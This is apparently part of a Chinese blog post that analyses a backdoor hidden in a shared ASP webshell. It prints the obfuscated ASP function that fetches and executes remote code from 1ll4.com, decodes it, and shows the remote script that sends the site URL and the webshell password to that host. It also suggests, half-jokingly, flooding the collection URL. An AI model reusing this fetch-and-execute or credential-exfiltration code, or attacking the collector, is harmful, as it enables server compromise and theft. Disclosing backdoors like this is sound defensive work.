密码用Serinf函数加密然后进行验证,代码正常,没有可疑的迹象我们在搜索Serinf,看到如下代码:
|
if session("serinfo")=false then SererInf "1ll4":session("serinfo")=true else if action="getTerminalInfo" then SererInf "1ll4" end if end if
|
看到这里就觉得有点奇怪了,搜索session("serinfo"),可以发现session("serinfo") 在前面是没有定义的,那肯定是false了,那么我们就来看看SererInf()这个函数,搜索SererInf,找到如下代码:
|
function SererInf(inf) on error resume next Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1),false theserver.send() if theserver.readystate<>4 then exit function end if execute(theserver.responseText) set theserver=nothing if err.number<>0 then err.Clear end if end function
|
看到这里就很明白了,这就是后门,那么我们的后门到底是怎么样的呢?还是把下面这句解密开来看看
right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1)
继续搜索sot,发现sot数组的值如下:
|
Sot(13,0) = "Microsoft.XMLHTTP" Sot(4,0) = "Scripting.Dictionary" Sot(6,0) = "Adodb.Stream" Sot(1,0) = "wscript.shell"
|
继续上查,可以看到pos=2,那么我们现在就可以把上面的这段用函数加密了的代码解密出来了,很简单。
|
right(sot(13,0),4)=http chr(60-pos)=: chr(pos+45)=/ chr(46)=. mid(sot(4,0),2,1)=c chr(109+pos)=o right(Sot(6,0),1)=m chr(47)=/ right(sot(1,0),1)=l
http://1ll4.com/l |
看到这里是不是觉得很奇怪?怎么后门代码不完整呢?不急,我们再来打开http://1ll4.com/l这个网址看个究竟。打开http://1ll4.com/l页面,查看源文件,代码如下:
|
Serurl="http://1ll4.com/1/?jpg=8&u="&Serveru&"&p="&UserPass Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",Serurl,false theserver.send() |
现在看到这里就完整了,参数Serveru=request.servervariables(""http_host"")&url,即网站的完整路径,参数UserPass当然就是密码了,虽然是加密的,不过可以解密!
到这里,WebShell里面的后门就完全显露出来了,接下来的事情当然是去后门!
我这里修改了这个WebShell,除去了后门,增加了部分功能,改善了部分功能,不知道放到哪里下载,大家可以到我的BLOG上看:http://hi.baidu.com/lostmind
从代码中还可以看到,这个提交没有COOKIE验证,那么我们就可以直接提交代码了,可以直接找个HTTP破解器,把地址和参数写进去,然后DOS它一把!当然大家不要D它了,写个WebShell也不容易,原谅他吧!同时也提醒朋友们都留心,别人的东西还是仔细看看。
上一页 1 2